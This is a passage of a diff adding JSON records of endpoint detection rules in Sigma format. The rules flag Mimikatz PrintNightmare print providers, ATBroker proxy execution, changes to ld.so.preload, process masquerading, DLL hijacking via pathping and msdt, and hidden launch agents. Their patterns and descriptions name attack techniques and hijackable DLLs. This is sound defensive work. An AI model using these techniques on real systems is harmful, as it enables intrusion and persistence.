*\\Drivers\\Version-?\\{????????-????-????-????-????????????}-legitprinter\\Configuration File'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows *\\Drivers\\Version-?\\mimikatz-{????????-????-????-????-????????????}-legitprinter\\Configuration File'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows *\\Drivers\\Version-?\\QMS 810\\Configuration File'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d844ae3d-4e16-4374-947d-6f17eb0a954d",
+  "rule_name": "Mimikatz Print Provider Added",
+  "rule_description": "Detects the installation of a new print provider by running mimikatz's PrintNightmare implementation.\nAttackers can install a new print provider as part of CVE-2021-1675 to gain code execution in spoolsv.\nIt is recommended to isolate the infected host and to look for attacker activities on other hosts.\n",
+  "rule_creation_date": "2021-07-06",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d852030e-a4ef-4fb4-91dc-a59d99d90b3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080405Z",
+  "creation_date": "2026-03-23T11:45:34.080407Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080411Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_atbroker.yml",
+  "content": "title: Suspicious Process Launched by ATBroker\nid: d852030e-a4ef-4fb4-91dc-a59d99d90b3f\ndescription: |\n    Detects a suspicious process execution by ATBroker.exe, possibly to proxy execution of malicious code.\n    ATBroker executes code defined in registry for a new Assistive Technology (AT). Modifications must be made to the system registry to either register or modify an existing AT service entry.\n    Attackers can use this technique to execute malicious code through Microsoft-signed binaries.\n    It is recommended to investigate the parent process for suspicious activities as well as to look for subsequent malicious actions stemming from the AtBroker process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Atbroker/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/04\nmodified: 2025/09/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Atbroker\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessParentOriginalFileName: 'ATBroker.exe'\n        ParentCommandLine|contains: ' ?start '\n\n    filter_legitimate_context:\n        Ancestors|contains:\n            - '?:\\Windows\\System32\\AtBroker.exe|?:\\Windows\\System32\\winlogon.exe'\n            - '?:\\Windows\\System32\\Utilman.exe|?:\\Windows\\System32\\winlogon.exe'\n\n    filter_legitimate_signature:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n            - 'NV Access Limited'\n            - 'AI Squared'\n            - 'Freedom Scientific Inc'\n            - 'Freedom Scientific Inc.'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d852030e-a4ef-4fb4-91dc-a59d99d90b3f",
+  "rule_name": "Suspicious Process Launched by ATBroker",
+  "rule_description": "Detects a suspicious process execution by ATBroker.exe, possibly to proxy execution of malicious code.\nATBroker executes code defined in registry for a new Assistive Technology (AT). Modifications must be made to the system registry to either register or modify an existing AT service entry.\nAttackers can use this technique to execute malicious code through Microsoft-signed binaries.\nIt is recommended to investigate the parent process for suspicious activities as well as to look for subsequent malicious actions stemming from the AtBroker process.\n",
+  "rule_creation_date": "2022-12-04",
+  "rule_modified_date": "2025-09-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d8794f80-f5c3-4bdf-ac3f-ce861e55131c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611832Z",
+  "creation_date": "2026-03-23T11:45:34.611836Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611843Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://tbhaxor.com/exploiting-shared-library-misconfigurations/",
+    "https://github.com/gianlucaborello/libprocesshider",
+    "https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/",
+    "https://attack.mitre.org/techniques/T1574/006/"
+  ],
+  "name": "t1574_006_ld_preload_modified.yml",
+  "content": "title: Dynamic Linker Preload Configuration Modified\nid: d8794f80-f5c3-4bdf-ac3f-ce861e55131c\ndescription: |\n    Detects an attempt to modify the preload configuration of the dynamic linker.\n    The modification of this configuration can be an attempt to conceal malicious activity or monitor existing processes.\n    It is recommended to analyze the execution context to determine if the process has a legitimate reason to modify this file and to download the modify file via a job to ensure the new content is not malicious.\nreferences:\n    - https://tbhaxor.com/exploiting-shared-library-misconfigurations/\n    - https://github.com/gianlucaborello/libprocesshider\n    - https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/\n    - https://attack.mitre.org/techniques/T1574/006/\ndate: 2022/11/10\nmodified: 2025/10/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1574.006\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path: '/etc/ld.so.preload'\n        - TargetPath: '/etc/ld.so.preload'\n\n    filter_read:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_dynatrace:\n        - ProcessImage: '/*/dynatrace*/agent/lib64/oneagentinstallaction'\n        - ProcessCommandLine|startswith:\n            - '/bin/sh /var/lib/dynatrace/oneagent/agent/downloads/dynatrace-oneagent-linux-'\n            - '/bin/sh /opt/dynatrace/oneagent/agent/'\n\n    exclusion_docker:\n        ProcessImage: '/usr/bin/dockerd'\n\n    exclusion_snap:\n        ProcessImage: '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d8794f80-f5c3-4bdf-ac3f-ce861e55131c",
+  "rule_name": "Dynamic Linker Preload Configuration Modified",
+  "rule_description": "Detects an attempt to modify the preload configuration of the dynamic linker.\nThe modification of this configuration can be an attempt to conceal malicious activity or monitor existing processes.\nIt is recommended to analyze the execution context to determine if the process has a legitimate reason to modify this file and to download the modify file via a job to ensure the new content is not malicious.\n",
+  "rule_creation_date": "2022-11-10",
+  "rule_modified_date": "2025-10-16",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d8bc39d8-82f2-4be6-90df-fc4d6fd12973",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.616986Z",
+  "creation_date": "2026-03-23T11:45:34.616990Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.616997Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/new-macos-malware-xcodespy-targets-xcode-developers-with-eggshell-backdoor/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_004_susp_executable_masquerading.yml",
+  "content": "title: Suspicious Executable Masquerading Known Editor Name\nid: d8bc39d8-82f2-4be6-90df-fc4d6fd12973\ndescription: |\n    Detects the execution of a process impersonating a known distributor.\n    Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them in order to bypass simple security controls.\n    It is recommended to check for malicious activities by the newly created process.\nreferences:\n    - https://www.sentinelone.com/labs/new-macos-malware-xcodespy-targets-xcode-developers-with-eggshell-backdoor/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2024/09/26\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.Masquerading\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_name:\n        ProcessName:\n            - 'com.apple.*'\n            - 'us.zoom.*'\n            - 'com.docker.*'\n            - 'Discord'\n            - 'hurukai'\n\n    selection_signature:\n        - ProcessSigned: 'false'\n        - ProcessSigned: 'true'\n          ProcessCodesigningFlagsStr|contains: 'CS_ADHOC'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d8bc39d8-82f2-4be6-90df-fc4d6fd12973",
+  "rule_name": "Suspicious Executable Masquerading Known Editor Name",
+  "rule_description": "Detects the execution of a process impersonating a known distributor.\nAdversaries may match or approximate the name or location of legitimate files or resources when naming/placing them in order to bypass simple security controls.\nIt is recommended to check for malicious activities by the newly created process.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d92166e2-cf11-4553-856e-29559fdb0fe2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082607Z",
+  "creation_date": "2026-03-23T11:45:34.082609Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082613Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_pathping.yml",
+  "content": "title: DLL Hijacking via pathping.exe\nid: d92166e2-cf11-4553-856e-29559fdb0fe2\ndescription: |\n    Detects potential Windows DLL Hijacking via pathping.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'pathping.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\IPHLPAPI.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d92166e2-cf11-4553-856e-29559fdb0fe2",
+  "rule_name": "DLL Hijacking via pathping.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via pathping.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d93e4f16-7bd8-4bf7-a2fc-5a659ed10bf2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.614531Z",
+  "creation_date": "2026-03-23T11:45:34.614535Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.614542Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/001/",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1543_001_launch_agents_hidden.yml",
+  "content": "title: Hidden Launch Agents Created\nid: d93e4f16-7bd8-4bf7-a2fc-5a659ed10bf2\ndescription: |\n    Detects the creation of an hidden launch agent file.\n    Adversaries may create hidden files in order to avoid detection from users.\n    It is recommended to check the process creating the file for other suspicious behaviors and that the content of the newly created file is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/001/\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2024/04/30\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.001\n    - attack.defense_evasion\n    - attack.t1564.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_path:\n        - Path|contains:\n            - '/System/Library/LaunchAgents/'\n            - '/Library/LaunchAgents/'\n        - TargetPath|contains:\n            - '/System/Library/LaunchAgents/'\n            - '/Library/LaunchAgents/'\n    selection_kind:\n        Kind:\n            - 'create'\n            - 'rename'\n        ProcessImage|contains: '?'\n\n    selection_hidden:\n        - Path|re: '.*/\\.[^/]*$'\n        - TargetPath|re: '.*/\\.[^/]*$'\n\n    filter_nosync: # SIP related file\n        - Path|endswith: '/.dat.nosync*.??????'\n        - TargetPath|endswith: '/.dat.nosync*.??????'\n\n    exclusion_bomgar:\n        Path: '/Library/LaunchDaemons/.com.bomgar.bomgar-ps-*.helper/run.state'\n\n    exclusion_temp_file:\n        - Image: '/usr/bin/vim'\n          Path|endswith:\n            - '.swp'\n            - '.swx'\n        - Image: '/usr/bin/ditto'\n          Path|endswith: '/.BC.?_*'\n        - Image: '/usr/bin/ditto'\n          TargetPath|endswith: '/.BC.?_*'\n\n    exclusion_finder:\n        Image: '/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder'\n        Path|endswith: '.DS_Store'\n\n    exclusion_rsync:\n          Image: '/usr/bin/rsync'\n\n    exclusion_sed:\n        # /private/var/root/Library/LaunchAgents/.!78671!com.f5.f5vpnhelper.plist\n        - Path|endswith: '/.!?????!*.plist'\n          Image: '/usr/bin/sed'\n        - TargetPath|endswith: '/.!?????!*.plist'\n          Image: '/usr/bin/sed'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d93e4f16-7bd8-4bf7-a2fc-5a659ed10bf2",
+  "rule_name": "Hidden Launch Agents Created",
+  "rule_description": "Detects the creation of an hidden launch agent file.\nAdversaries may create hidden files in order to avoid detection from users.\nIt is recommended to check the process creating the file for other suspicious behaviors and that the content of the newly created file is legitimate.\n",
+  "rule_creation_date": "2024-04-30",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.001",
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d956a4b6-4d5e-445a-9d2e-65dfe014661d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096630Z",
+  "creation_date": "2026-03-23T11:45:34.096632Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096637Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msdt.yml",
+  "content": "title: DLL Hijacking via msdt.exe\nid: d956a4b6-4d5e-445a-9d2e-65dfe014661d\ndescription: |\n    Detects potential Windows DLL Hijacking via msdt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msdt.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ATL.DLL'\n            - '\\Cabinet.dll'\n            - '\\davclnt.dll'\n            - '\\drprov.dll'\n            - '\\duser.dll'\n            - '\\ntlanman.dll'\n            - '\\p9np.dll'\n            - '\\propsys.dll'\n            - '\\secur32.dll'\n            - '\\SSPICLI.DLL'\n            - '\\UxTheme.dll'\n            - '\\wer.dll'\n            - '\\windows.storage.dll'\n            - '\\WINHTTP.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d956a4b6-4d5e-445a-9d2e-65dfe014661d",
+  "rule_name": "DLL Hijacking via msdt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msdt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d9906f4e-c385-493b-84e3-a7c1603d8f6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092139Z",
+  "creation_date": "2026-03-23T11:45:34.092141Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092146Z",
